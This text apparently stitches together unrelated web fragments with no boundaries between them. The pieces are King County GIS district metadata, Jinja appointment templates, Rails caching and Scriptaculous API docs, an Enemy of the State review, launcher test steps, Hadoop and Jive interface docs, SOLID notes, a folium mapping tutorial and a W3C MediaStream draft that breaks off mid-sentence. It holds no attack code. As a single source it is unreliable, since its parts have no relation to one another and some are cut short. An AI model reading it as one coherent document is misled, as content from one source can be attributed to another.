County, King, 20141218 King County, King County, WA.Online Links:
- None
Sequential unique whole numbers that are automatically generated.
| Value | Definition |
|---|---|
| SCC1 | Abbreviated name/code for district |
| SCC2 | Abbreviated name/code for district |
| SCC3 | Abbreviated name/code for district |
| SCC4 | Abbreviated name/code for district |
| SCC5 | Abbreviated name/code for district |
| SCC6 | Abbreviated name/code for district |
| SCC7 | Abbreviated name/code for district |
| Value | Definition |
|---|---|
| Seattle Council Dst 1 | Name of District |
| Seattle Council Dst 2 | Name of District |
| Seattle Council Dst 3 | Name of District |
| Seattle Council Dst 4 | Name of District |
| Seattle Council Dst 5 | Name of District |
| Seattle Council Dst 6 | Name of District |
| Seattle Council Dst 7 | Name of District |
Coordinates defining the features.
Positive real numbers that are automatically generated.
206-477-4115 (voice)
Are there legal restrictions on access or use of the data?
- Access_Constraints: None
- Use_Constraints:
- King County data are made available with the understanding that they shall be used exclusively by the obtainer or his/her authorized agents. Digital products may not be reproduced or redistributed in any form or by any means without the express written authorization of King County.
206-477-4421 (voice)
/plibrary2/district/shapes/polygon/sccdst.shp
King County disclaims any warranty of use of any digital product or data beyond that for which it was designed.
| Data format: | featureclass and shapefile |
|---|
Contact KCGIS Client Services for the cost of reproduction - <http://www.kingcounty.gov/operations/GIS/GISData/GISDataDistribution.aspx>
206-477-4115 (voice)
firstname.lastname@kingcounty.gov


Choose an appointment
{{ practice.name }}
{{ practice.address.join('
') }}
First available early morning appointment:
{{ ui_element_macros.appointment_option({ link_url: 'confirm-appointment/' + appointments.early.uuid, appointment_date: appointments.early.appointment_date, appointment_time: appointments.early.appointment_time, appointment_days_away: appointments.early.appointment_days_away, avatar_img_path: '/public/images/' + appointments.early.practitioner.photo, name: appointments.early.practitioner.name, position: appointments.early.practitioner.role, gender: appointments.early.practitioner.gender, appointment_length: appointments.early.appointment_length, appointment_type: appointments.early.appointment_type, appointment_type_class: appointments.early.appointment_type_class, address: appointments.early.address }) }}First available appointment:
{{ ui_element_macros.appointment_option({ link_url: 'confirm-appointment/' + appointments.face_to_face.uuid, appointment_date: appointments.face_to_face.appointment_date, appointment_time: appointments.face_to_face.appointment_time, appointment_days_away: appointments.face_to_face.appointment_days_away, avatar_img_path: '/public/images/' + appointments.face_to_face.practitioner.photo, name: appointments.face_to_face.practitioner.name, position: appointments.face_to_face.practitioner.role, gender: appointments.face_to_face.practitioner.gender, appointment_length: appointments.face_to_face.appointment_length, appointment_type: appointments.face_to_face.appointment_type, appointment_type_class: appointments.face_to_face.appointment_type_class, address: appointments.face_to_face.address }) }}More appointment options
-
{% if service.filters.gender %}
- I’d like to see a woman or female-identified person {% endif %} {% if service.filters.person %}
- I’d like to see a particular person {% endif %}


Loading...
Saved
-
User stats
On current page
Saved
Recheck
-
Downloads
Download
-
Unknown site
Users saved
-
Submissions saved
-
Unable to get site information.

Getting page and site information.


| Module | ActionController::Caching::Pages |
| In: |
/usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/caching/pages.rb
|
Page caching is an approach to caching where the entire action output of is stored as a HTML file that the web server can serve without going through Action Pack. This is the fastest way to cache your content as opposed to going dynamically through the process of generating the content. Unfortunately, this incredible speed-up is only available to stateless pages where all visitors are treated the same. Content management systems — including weblogs and wikis — have many pages that are a great fit for this approach, but account-based systems where people log in and manipulate their own data are often less likely candidates.
Specifying which actions to cache is done through the caches_page class method:
class WeblogController < ActionController::Base caches_page :show, :new end
This will generate cache files such as weblog/show/5.html and weblog/new.html, which match the URLs used to trigger the dynamic generation. This is how the web server is able pick up a cache file when it exists and otherwise let the request pass on to Action Pack to generate it.
Expiration of the cache is handled by deleting the cached file, which results in a lazy regeneration approach where the cache is not restored before another hit is made against it. The API for doing so mimics the options from url_for and friends:
class WeblogController < ActionController::Base def update List.update(params[:list][:id], params[:list]) expire_page :action => "show", :id => params[:list][:id] redirect_to :action => "show", :id => params[:list][:id] end end
Additionally, you can expire caches using Sweepers that act on changes in the model to determine when a cache is supposed to be expired.
Manually cache the content in the key determined by options. If no content is provided, the contents of response.body is used If no options are provided, the requested url is used. Example:
cache_page "I'm the cached content", :controller => "lists", :action => "show"
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/caching/pages.rb, line 137 137: def cache_page(content = nil, options = nil) 138: return unless self.class.perform_caching && caching_allowed 139: 140: path = case options 141: when Hash 142: url_for(options.merge(:only_path => true, :format => params[:format])) 143: when String 144: options 145: else 146: request.path 147: end 148: 149: self.class.cache_page(content || response.body, path) 150: end
Expires the page that was cached with the options as a key. Example:
expire_page :controller => "lists", :action => "show"
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/caching/pages.rb, line 118 118: def expire_page(options = {}) 119: return unless self.class.perform_caching 120: 121: if options.is_a?(Hash) 122: if options[:action].is_a?(Array) 123: options[:action].dup.each do |action| 124: self.class.expire_page(url_for(options.merge(:only_path => true, :action => action))) 125: end 126: else 127: self.class.expire_page(url_for(options.merge(:only_path => true))) 128: end 129: else 130: self.class.expire_page(options) 131: end 132: end


ENEMY OF THE STATE Reviewed by Luke Buckmaster
Cast: Will Smith, Gene Hackman, Jon Voight, Regina King, Lisa Bonet, Loren Dean, Ian Hart, Jake Busey, Barry Pepper, Jason Lee, Gabriel Byrne, Tom Sizemore Director: Tony Scott Screenplay: David Marconi Australian theatrical release: January 7, 1999
On the Buckmaster scale of 0 stars (bomb), to 5 stars (a masterpiece): 4 stars
It is always a good sign that a thriller is working when you start to believe that anything happening on the screen is something that could happen to you. Achieving this much is not an easy task for anyone, so you can imagine my surprise when Tony "Top Gun" Scott, Will Smith and a writer with only one previous film under his belt managed to pull it off. Not only that, but they've also done a darn good job. Scott's tense direction of David Marconi's paranoid and upbeat screenplay gives the film structure, whilst a bunch of strong performances from a talented cast give it character.
In fact, I found it amazing that Scott was able to make his three lead actors - Will Smith, Gene Hackman and Jon Voight - work so well. Smith tackles an out of character "serious" role and finds stable ground as the film's anchor. Although Hackman is rarely powerful, his work in Enemy of the State is not to be underestimated. And as for Jon Voight, he is finally back to the standard he set in Mission Impossible, once again reprising his role as everybody's least popular character (the smug villain).
 You can understand why this threat soon becomes the least of Dean's worries after he finds himself unwittingly involved in something a little more serious - a national conspiracy involving the work of shady NSA (National Security Association) bureaucrat Thomas Reynolds (Jon Voight). Reynolds is not your typical bad guy as he has a team of computer geeks ready to do his dirty work for him, using the latest in computer technology to hunt down and monitor anybody they please. Everything soon gets a little too much for Dean, as he begins to lose his loved ones and eventually gets framed for murder. Luckily for him, he stumbles across a technological expert known as "Brill" (Gene Hackman), and they eventually form an unlikely friendship as they try to escape the inevitable showdown with Reynolds.
No doubt this is Brian De Palma and David Fincher territory. Although Scott can't find as much intrigue or suspense with his material as Fincher did in The Game, he packs a lot of excitement into action sequences. There are two lengthy chase scenes that hold viewers' attention for so long that watching them becomes uncomfortable. The first of these scenes sets a high standard for the rest of the film, and features Chasing Amy's Jason Lee on the run from NSA goons. Cinematographer Daniel Mindel captures the intensity of these moments with deliberately computerized visuals. When the "satellite cam" is activated, he gives a refreshing new view of what is going on, and reminds us of how big the characters are in comparison to the massive modern world surrounding them.
With a running time of 140 minutes, it must be said that Enemy of the State is not a good example of efficiency. Will Smith's character is casually developed for quite a lengthy amount of time before he finds himself in extraordinary situations. That is an interesting choice, because many directors prefer to develop their characters when they are placed outside of their comfortable environs (like in 1997's very clever Breakdown, and Oliver Stone's U-Turn). However Smith works well and so does his character, and even cynics have to admire the way he has successfully ditched his trademark supporting characters - aliens and motor-mouth cops (at least for the time being). In the transformation, Smith has lost none of his charm, and now gives authenticity to his presence.
If I could edit out any part of Enemy of the State, I'd get rid of its prologue. In this dreary opening scene, we are shown exactly what the NSA will go to all lengths to protect. Had Tony Scott revealed it to us bit by bit, Enemy of the State might have become just that little bit more clever.
But cleverness really isn't a problem when you take into account all that Enemy of the State achieves. Faults in the story and exaggerated scenarios can be excused, since this film accomplishes the difficult task of yielding an atmospheric, paranoid and thrilling version of our modern world. And even more impressive than that, Tony Scott makes every inch of it believable.
Email<EMAIL_ADDRESS>to subscribe to my newsletter (unless, of course, you already have) or<EMAIL_ADDRESS>for any inquiries or feedback
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Instructions:
Move the values from the stack to the tree. Color the nodes and balance the tree using rotations when it becomes necessary.


--- layout: home author_profile: true --- Hey, you found the page where I'm experimenting with static html site generators and other web stuff. I am not a frontend programmer so you should probably head to my Linkedin or to see what I've been up to.


Pre-condition
- The DOMLauncher app has been installed on device
- There has been installed a SIM card with missed calls and SMS
Test Steps
- Click home button in device and select DOMLauncher
- Check the missed calls and SMS in the bottom page
- Select and launch an app
- Click '<menu>' --> '<system>', then click on the right content
- Setting 'Fullscreen' '<off>' to <on>
- Setting 'Orientation' '<rotate>' to <landscape> or <portrait>
- Setting 'Mobile Data' '<off>', then open one webpage via browser
- Setting 'Mobile Data' '<off>' to <on>, then open one webpage via browser
- Setting 'Wifi' '<off>' to <on>, then check the bottom page
- Setting 'Ringer Volume' number increase or decrease
- Setting 'Ringer Mode' '<normal>' to <silent> or <vibrate>
- Setting 'Media Volume' number increase or decrease
- Setting 'Bluetooth' '<off>' to <on>
- Setting 'Brightness' number increase or decrease
- Setting 'Auto-Brightness' '<off>' to <on>
- Setting the phone mode to flight mode, then check the bottom page
Expected Results
- Launch the DOMLauncher app successfully, no error
- Display <calls-<num>> and <sms-<num>>
- Launch the app successfully, no error
- Display the detailed information about system setting, such as 'Fullscreen', 'Wifi' and so on
- Hide the Status Bar
- Display the device content with landscape screen or portrait screen
- Can not open the webpage
- Open the webpage successfully, no error
- Display <wifi-<num>%> in the bottom page
- The volume bigger or smaller
- Display ringer mode silent or vibrate in Status Bar
- The volume bigger or smaller
- Display bluetooth enable connection in Status Bar
- Increase or decrease the screen brightness
- Enable the auto-brightness screen mode
- The <signal-<num>%> changed <signal-0%>


About
FAIR-Cells is developed by the research team for Quality Critical Distributed Computing (QCDIS) in the
Multi Scale Networking System Group (MNS) of the University of Amsterdam. The development of FAIR-Cells is
coordinated by Dr. Zhiming Zhao<EMAIL_ADDRESS>Developers:
-
W. Kruijer<EMAIL_ADDRESS>-
S. Koulouzis S.Koulouzis@uva.nl


[CHAPTER 291A]
NONRESIDENT VIOLATOR COMPACT
Section
291A-1 Enactment of compact
Revision Note
Compact was enacted as addition to chapter 291.


Having taken part in the Dunblane Centre pantomime I was invited to take part in the summer show, Annie.
As before, this was a show for the kids. The adults held the principal parts together, but the main focus was on the kids in the chorus, giving them a chance to put on a show in a week.
From the Monday morning to the Friday afternoon over eighty kids rehearsed the show, and we put on a pretty competent performance of Annie. Indeed, the bulk of the mistakes probably came from the principals, who had spent all their time getting the kids to rehearse and thus hadn't taken the time to rehearse their own scenes.
Well, that's my excuse and I'm sticking to it!


Here are some of my favorite people!
My brother Christopher
My Mom and Dad:
Steve
Carol
My friend Jessica
My friend Candy
These are my three favorite, in order:
Pistachio
Malted milk chocolate
Black licorice
Thanks for reading about me!


Cécilia Bossard et Jean Paliès
Développeuse, agiliste, boîte à outils, ...
Développeur freelance, télétravailleur en équipe
It was programmers who started the Agile movement as a way to say: “Hey look! Teams matter. Code should be clean. We want to collaborate with the customer. And we want to deliver early and often.”
But then the project managers rushed in and said: “Wow! Agile is a cool new variation on how to manage projects.”


| Module | ActionView::Helpers::ScriptaculousHelper |
| In: |
/usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_view/helpers/scriptaculous_helper.rb
|
Provides a set of helpers for calling Scriptaculous JavaScript functions, including those which create Ajax controls and visual effects.
To be able to use these helpers, you must include the Prototype JavaScript framework and the Scriptaculous JavaScript library in your pages. See the documentation for ActionView::Helpers::JavaScriptHelper for more information on including the necessary JavaScript.
The Scriptaculous helpers’ behavior can be tweaked with various options. See the documentation at script.aculo.us for more information on using these helpers in your application.
| TOGGLE_EFFECTS | = | [:toggle_appear, :toggle_slide, :toggle_blind] |
Makes the element with the DOM ID specified by element_id draggable.
Example:
<%= draggable_element("my_image", :revert => true)
You can change the behaviour with various options, see script.aculo.us for more documentation.
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_view/helpers/scriptaculous_helper.rb, line 157 157: def draggable_element(element_id, options = {}) 158: javascript_tag(draggable_element_js(element_id, options).chop!) 159: end
Makes the element with the DOM ID specified by element_id receive dropped draggable elements (created by draggable_element). and make an AJAX call. By default, the action called gets the DOM ID of the element as parameter.
Example:
<%= drop_receiving_element("my_cart", :url => { :controller => "cart", :action => "add" }) %>
You can change the behaviour with various options, see script.aculo.us for more documentation.
Some of these options include:
:confirm => "Are you sure you want to do this?"
:onDrop => "function(draggable_element, droppable_element, event) { alert('I like bananas') }"
This callback gets three parameters: The Draggable element, the Droppable element and the Event object. You can extract additional information about the drop - like if the Ctrl or Shift keys were pressed - from the Event object.
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_view/helpers/scriptaculous_helper.rb, line 202 202: def drop_receiving_element(element_id, options = {}) 203: javascript_tag(drop_receiving_element_js(element_id, options).chop!) 204: end
Makes the element with the DOM ID specified by element_id sortable by drag-and-drop and make an Ajax call whenever the sort order has changed. By default, the action called gets the serialized sortable element as parameters.
Example:
<%= sortable_element("my_list", :url => { :action => "order" }) %>
In the example, the action gets a "my_list" array parameter containing the values of the ids of elements the sortable consists of, in the current order.
Important: For this to work, the sortable elements must have id attributes in the form "string_identifier". For example, "item_1". Only the identifier part of the id attribute will be serialized.
Additional options are:
See script.aculo.us for more documentation.
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_view/helpers/scriptaculous_helper.rb, line 131 131: def sortable_element(element_id, options = {}) 132: javascript_tag(sortable_element_js(element_id, options).chop!) 133: end
Returns a JavaScript snippet to be used on the Ajax callbacks for starting visual effects.
If no element_id is given, it assumes "element" which should be a local variable in the generated JavaScript execution context. This can be used for example with drop_receiving_element:
<%= drop_receiving_element (...), :loading => visual_effect(:fade) %>
This would fade the element that was dropped on the drop receiving element.
For toggling visual effects, you can use :toggle_appear, :toggle_slide, and :toggle_blind which will alternate between appear/fade, slidedown/slideup, and blinddown/blindup respectively.
You can change the behaviour with various options, see script.aculo.us for more documentation.
# File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_view/helpers/scriptaculous_helper.rb, line 40 40: def visual_effect(name, element_id = false, js_options = {}) 41: element = element_id ? ActiveSupport::JSON.encode(element_id) : "element" 42: 43: js_options[:queue] = if js_options[:queue].is_a?(Hash) 44: '{' + js_options[:queue].map {|k, v| k == :limit ? "#{k}:#{v}" : "#{k}:'#{v}'" }.join(',') + '}' 45: elsif js_options[:queue] 46: "'#{js_options[:queue]}'" 47: end if js_options[:queue] 48: 49: [:endcolor, :direction, :startcolor, :scaleMode, :restorecolor].each do |option| 50: js_options[option] = "'#{js_options[option]}'" if js_options[option] 51: end 52: 53: if TOGGLE_EFFECTS.include? name.to_sym 54: "Effect.toggle(#{element},'#{name.to_s.gsub(/^toggle_/,'')}',#{options_for_javascript(js_options)});" 55: else 56: "new Effect.#{name.to_s.camelize}(#{element},#{options_for_javascript(js_options)});" 57: end 58: end


@InterfaceAudience.Public @InterfaceStability.Stable public interface Tool extends Configurable
Tool
, is the standard for any Map-Reduce tool/application.
The tool/application should delegate the handling of
standard command-line options to ToolRunner.run(Tool, String[])
and only handle its custom arguments.
Here is how a typical Tool
is implemented:
public class MyApp extends Configured implements Tool { public int run(String[] args) throws Exception { //Configuration
processed byToolRunner
Configuration conf = getConf(); // Create a JobConf using the processedconf
JobConf job = new JobConf(conf, MyApp.class); // Process custom command-line options Path in = new Path(args[1]); Path out = new Path(args[2]); // Specify various job-specific parameters job.setJobName("my-app"); job.setInputPath(in); job.setOutputPath(out); job.setMapperClass(MyMapper.class); job.setReducerClass(MyReducer.class); // Submit the job, then poll for progress until the job is complete RunningJob runningJob = JobClient.runJob(job); if (runningJob.isSuccessful()) { return 0; } else { return 1; } } public static void main(String[] args) throws Exception { // LetToolRunner
handle generic command-line options int res = ToolRunner.run(new Configuration(), new MyApp(), args); System.exit(res); } }
GenericOptionsParser
,
ToolRunner
| Modifier and Type | Method and Description |
|---|---|
int |
run(String[] args)
Execute the command with the given arguments.
|
getConf, setConf
Copyright © 2022 Apache Software Foundation. All rights reserved.


public interface ConnectionProvider
It is expected that each subclass be a JavaBean, so that properties of the connection provider are exposed through bean introspection.
| Modifier and Type | Method and Description |
|---|---|
void |
destroy()
Tells the connection provider to destroy itself.
|
Connection |
getConnection()
Returns a database connection.
|
boolean |
isPooled()
Returns true if this connection provider provides connections out
of a connection pool.
|
void |
restart()
This method should be called whenever properties have been changed so
that the changes will take effect.
|
void |
start()
Starts the connection provider.
|
boolean isPooled()
Connection getConnection() throws SQLException
SQLException
- is an SQL error occured while retrieving the connection.void start()
void restart()
void destroy()
Copyright © 2003-2008 Jive Software.


Build your own fully custom Twitch chat bot using blocks!
Don't worry, your login session and blocks are saved ONLY on your computer inside this web browser's local storage.
1011011231194503.16410501100110011abc{textVariable}abc{textVariable}{textVariable}abcabcabcabc5{listVariable}{listVariable}{listVariable}{listVariable},100500#ff0000#3333ff0.51010Instafluff is the maker of Chatblocks!


{% extends "layout.html" %} {% block htmlattr %} ng-app="health_app" {% endblock %} {% block bodyattr %} ng-controller="health_controller" {% endblock %} {% block head %} {% endblock %} {% block body %}
API Health is based on HTTP requests response metrics: codes, duration and size.
FCI score is ratio of successful codes (2xx, 3xx, 4xx) to all http codes.


SOLID OOP - Learning Objectives
The Three Pillars of Object Oriented Programming
- encapsulation - objects should “mind their own business”
- inheritance - each object is an instance of its class or prototype, as well as all ancestor classes or prototypes
- polymorphism - each object/class/prototype can be assigned attributes and methods that extend the behavior of its ancestors
The SOLID Principles
(see SOLID)
- S - Single-Responsibility Principle - do one thing, and do it right
- O - Open-Closed Principle - software should be open to extension, but closed to modification
- L - Liskov Substitution Principle - objects should be replaceable with their subtypes
- I - Interface Segregation Principle - many client-specific interfaces are better than one general purpose interface
- D - Dependency Inversion Principle - one should depend upon abstractions, not concretions
How to Apply the Law of Demeter
A method of an object can only invoke the methods (or use the properties) of the following kinds of objects:
- methods on the object itself
- any of the objects passed in as parameters to the method
- any object created in the method
- any values stored in the instance variables of the object
- any values stored in global variables
NOTE: This is certainly a good general principle - however there are situations where it is appropriately violated egregiously, most particularly when one uses an ORM (Object-Relational Mapper) like SQL Alchemy or the Django ORM to express complex queries in procedural language. In those situations, you may legitimately be asking questions about the player.medication
related to the player.team.physician.specialty
.


Mapping Data with folium
For my first Data Science project at Flatiron, we got the King County Housing dataset from Kaggle to work with.
I first wanted to know where King County is. Is the county in a rural area, suburban area or just a big city like New York or a combination of some or all of them. To get a basic understanding and feel for what is the data represents. After going through the scrubbing part and dealing with the not so clean data handed, and having a better understanding of what is in the dataset, which leads me to the following questions:
- Is location of a house by zip code (neighbourhood) an indicator for the house price?
- Do zip codes (neighbourhoods) with the higher housing density have an effect on selling price?
Also, what visualisation technique should or can I use to present it best? My choice was to use a map to visualise the data. For that, I picked the folium package.
The dataset has (not all) the zip codes for King County. To visualise the zip codes, we need the geojson data. Which we luckily can find on the King County website.
First, we want to get all zip codes in the dataset into a separate dataset.
# Set zipcode type to string (folium)
dataset['zipcode'] = dataset['zipcode'].astype('str')
# get the mean value across all data points
zipcode_data = dataset.groupby('zipcode').aggregate(np.mean)
zipcode_data.reset_index(inplace = True)
For this example, we want to display the housing density. So we need to sum all zip codes up and add it to our zipcode_data.
# count number of houses grouped by zipcode
dataset['count'] = 1
temp = dataset.groupby('zipcode').sum()
temp.reset_index(inplace = True)
temp = temp[['zipcode', 'count']]
zipcode_data = pd.merge(zipcode_data, temp, on='zipcode')
# drop count from org dataset
dataset.drop(['count'], axis = 1, inplace = True)
Before we move on to display “all” zip codes in our dataset, we want to make sure that the geodata has only the zip codes found in our dataset. (Note, this code is not my brainchild).
# Get geo data file path
geo_data_file = os.path.join('data', 'king_county_wa_zipcode_area.geojson')
# load GeoJSON
with open(geo_data_file, 'r') as jsonFile:
geo_data = json.load(jsonFile)
tmp = geo_data
# remove ZIP codes not in geo data
geozips = []
for i in range(len(tmp['features'])):
if tmp['features'][i]['properties']['ZIPCODE'] in list(zipcode_data['zipcode'].unique()):
geozips.append(tmp['features'][i])
# creating new JSON object
new_json = dict.fromkeys(['type','features'])
new_json['type'] = 'FeatureCollection'
new_json['features'] = geozips
# save uodated JSON object
open("cleaned_geodata.json", "w").write(json.dumps(new_json, sort_keys=True, indent=4, separators=(',', ': ')))
Finally, we have our function to display our map and housing density. I wrote it as a function I that I could easily visualise other features like house prices.
def map_feature_by_zipcode(zipcode_data, col):
""" Generates a folium map of Seattle
:param zipcode_data: zipcode dataset
:param col: feature to display
:return: m
"""
# read updated geo data
king_geo = "cleaned_geodata.json"
# Initialize Folium Map with Seattle latitude and longitude
m = folium.Map(location=[47.35, -121.9], zoom_start=9,
detect_retina=True, control_scale=False)
# Create choropleth map
m.choropleth(
geo_data=king_geo,
name='choropleth',
data=zipcode_data,
# col: feature of interest
columns=['zipcode', col],
key_on='feature.properties.ZIPCODE',
fill_color='OrRd',
fill_opacity=0.9,
line_opacity=0.2,
legend_name='house ' + col
)
folium.LayerControl().add_to(m)
# Save map based on feature of interest
m.save(col + '.html')
return m
…and our function call.
f.map_feature_by_zipcode(zipcode_data, 'count')
The main strength I can see in our case is that we can answer our question regarding housing density by zip code.
The weakness here, unfortunately, lies in our given dataset itself. Because we only have a subset of about 22k houses represented. Another weakness I can see is. House prices are not so much related to zip codes, instead to neighbourhoods. If we go and look at Zillow, we can search by neighbourhood. Moreover, Zillow offers a geojson file for that.
However, I guess I get myself over my head here.


Copyright © 2012 W3C® (MIT, ERCIM, Keio), All Rights Reserved. W3C liability, trademark and document use rules apply.
A number of existing or proposed features for the Web platform deal with continuous real-time media:
This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.
This specification documents a proposal for an audio processing and synthesis API for use in client-side user agents (e.g. a browser). This document was produced by members of the Audio Working Group. It was initially published alongside an alternative proposal, the Web Audio API. On May 9th, 2012, the Audio Working Group resolved to re-publish this proposal as a Working Group Note, with a view to use this document as input for the Web Audio API draft specification.
If you wish to make comments regarding this document, please send them
to<EMAIL_ADDRESS>including the prefix'[MSP NOTE comment]'
in the subject
line. The archives of the
public-audio mailing list are publicly available.
Web content and browser developers especially are encouraged to review this draft, and to experiment with the API and provide feedback.
Publication as a Working Group Note does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.
This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.
The ideas here build on Ian Hickson's proposal for HTML Streams, adding features partly inspired by the Mozilla audio API and the Chrome audio API. Unlike previous audio API proposals, the API presented here integrates with proposed API for media capture from local devices, integrates with proposed API for peer-to-peer media streaming, handles audio and video in a unified framework, incorporates Worker-based Javascript audio processing, and specifies synchronization across multiple media sources and effects. The API presented here does not include a library of "native" effects; those should be added as new "named effects" (described below), perhaps as a "level 2" spec.
The work here is nascent. Until a prototype implementation exists, this proposal is likely to be incomplete and possibly not even implementable.
These are concrete usage scenarios that have helped guide the design of the API. They are higher-level than use-cases.
The description of MediaStreams here extends and must remain compatible with
HTML MediaStreams.Each MediaStream DOM object has an underlying media stream. The underlying media streams form a graph;
some streams (represented by ProcessedMediaStream DOM objects) can take other streams as inputs and compute an output stream.To avoid interruptions due to script execution, script execution can overlap with media stream processing;
media streams continue to play and change state during script execution. However, to simplify the DOM programming model, we limit the interaction of MediaStream DOM objects with their underlying media streams. Specifically: stream.inputs[0].volume = 0;
if (needToPlay()) {
stream.inputs[0].volume = 1.0;
}
Specify exactly which attributes (and methods) are subject to this regime, possibly extending to attributes and methods already defined in HTML for media elements etc.
In this spec, references to MediaStream
s and MediaInput
s
refer to the DOM-visible state, and references to media streams
and input ports refer to the underlying real-time media stream
graph.
A stream is an abstraction of a time-varying video and/or audio signal. At a given point in time, a media stream can be blocked, that is, not playing for some reason. All non-blocked streams play at the same constant rate --- real time. Streams cannot be seeked or played at a rate other than real time. For convenience we define a stream's "current time" as the duration it has played since it was created, but (unless blocking is involved) streams do not have independent timelines; they are synchronized.
At the implementation level, and when processing media data with Workers, we assume that each stream has a buffered window of media data available, containing the sample it is currently playing (or that it will play the next time it unblocks). This buffer defines the stream's contents into the future.
A stream can be in the finished state. A finished stream is always blocked and can
never leave the finished state --- it will never produce any more content.A stream that has no consumers must block. Stream consumers defined in
this specification are media elements and ProcessedMediaStream
s
(see below). This avoids situations where streams that aren't connected
ProcessMediaEvent
is being sent). A muted audio element can be
used as a dummy sink if necessary.
We do not allow streams to have independent timelines (e.g. no adjustable playback
rate or seeking within an arbitrary stream), because that can lead to a single stream being consumed at multiple different "current times" simultaneously, which requires either unbounded buffering or multiple internal decoders and buffers for a single stream. It seems simpler and more predictable for performance to require authors to create multiple streams (if necessary) and change the playback rate in the original stream sources to handle such situations.For example, consider this hard case:
Authors can avoid this by explicitly splitting streams that may need to progress at
different rates --- in the above case, by using two separate media elements each loading http://fast. The HTML spec encourages implementations to share cached media data between media elements loading the same URI.A media stream contains video and audio tracks. Tracks can start and end at any time. Each track
contains a stream of audio or video data.This spec mostly treats the formats used for stream audio and video data
as an implementation detail. In particular, whether stream buffers are compressed or uncompressed, what compression formats might be used, or what uncompressed formats might be used (e.g. audio sample rates, channels, and sample representation) are not specified, and are not directly observable. An implementation might even support changing formats over time within a single stream. Media data is implicitly resampled as necessary, e.g. when mixing streams with different formats. Non-normative suggestions for resampling algorithms will be provided in section 7.Built-in audio processing filters guarantee that if all the audio inputs constantly have the same uncompressed format
(same audio sample rate and channel configuration), the audio output will have the same format and there will be no unnecessary resampling.When samples are exposed to a Worker for processing, the user-agent chooses a fixed uncompressed audio format (sample rate and channel configuration) for its inputs and outputs; see section 4.4.
However, suggested resampling algorithms will be provided in an appendix.
partial interface MediaStream {
readonly attribute double currentTime;
ProcessedMediaStream createProcessor(optional in DOMString namedEffect);
ProcessedMediaStream createWorkerProcessor(in Worker worker);
};
The currentTime
attribute returns the amount of time that
this MediaStream
has played since it was created.
The createProcessor(namedEffect)
method returns a new ProcessedMediaStream
with this MediaStream
as its sole input.
ProcessedMediaStream
is configured with a built-in
processing engine named by namedEffect
, or the default
processing engine if namedEffect
is omitted. If namedEffect
is not supported by this user-agent, createProcessor
returns
null. User-agents adding nonstandard named effects should use vendor
prefixing, e.g. "MozUnderwaterBubbles". The stream's autofinish
attribute is set to true.
The createWorkerProcessor(worker)
method returns a new ProcessedMediaStream
with this MediaStream
as its sole input.
worker
as its processing engine.
The stream's autofinish
flag is set to true.
Add event handlers or callback functions for all finished and blocking state changes?
We extend HTML media elements to produce and consume streams. When an HTML media element
produces a stream, it acts as a resource loader and control mechanism; the stream consists of whatever the media element is currently playing. When a media element consumes a stream, it acts a playback mechanism for the stream.partial interface HTMLMediaElement {
readonly attribute MediaStream stream;
MediaStream captureStream();
MediaStream captureStreamUntilEnded();
readonly attribute boolean audioCaptured;
attribute any src;
};
The stream
attribute returns a stream which always plays
whatever the element is playing. The stream is blocked while the media
element is not playing. It is never finished, even when playback ends
stream
attribute for a given element always
returns the same stream. When the stream changes to blocked, we fire the waiting
event for the media element, and when it changes to unblocked we fire the playing
event for the media element.
Currently the HTML media element spec says that playing
would fire on an element that is able to play except that a downstream MediaController
is blocked. This is incompatible with the above. I think that part of the
HTML media spec should be changed so that only elements that are actually
going to play fire playing
.
The captureStream()
method returns a new MediaStream
that plays the same audio and video as stream
.
captureStream()
sets the audioCaptured
attribute
to true.
The captureStreamUntilEnded()
method returns a new MediaStream
that plays the same audio and video as stream
, until the
element next reaches
captureStreamUntilEnded()
sets the audioCaptured
attribute to true.
While the media element is playing a resource whose origin is not the
same as the media element itself, MediaStream
s for the
element do not play the content; they block.
This prevents leaking of media contents to scripts in the page. In the future we could relax this and allow the streams to play as long as there's no scripted processing of the data downstream, but that's trickier.
While the audioCaptured
attribute is true, the element does
not produce direct audio output.
stream
and the resource stream.
This attribute is NOT reflected into the DOM. It is initially false. It's
readonly to script and nothing ever sets it to true.
The src
attribute is extended to allow it to be set to a MediaStream
.
The element
playbackRate
are not supported.
The URL.createObjectURL(stream)
method defined for HTML
MediaStreams can create a URL to be
src
to
the given stream.
We add an Audio
constructor taking a MediaStream
as a parameter.
src
to the stream.
[NamedConstructor=Audio(MediaStream src)]
partial interface HTMLAudioElement {
}
To enable precise control over the timing of attribute changes, many attributes can be set using a
"timed setter" method taking astartTime
parameter. The
user-agent will attempt to make the change take effect when the subject
stream's "current time" is exactly the given startTime
---
certainly no earlier, but possibly later if the change request is processed
after the stream's current time has reached startTime
. startTime
is optional; if ommitted, the change takes effect as soon as possible.
Using a timed setter method never changes the observed attribute value immediately. Setter method changes always take effect after the next stable state, as described in section 2.1. Setting the attribute value changes the observed attribute value immediately, but the change to the underlying media stream will still not take effect until after
the next stable state.Multiple pending changes to an attribute are allowed. Calling the setter method with
startTime
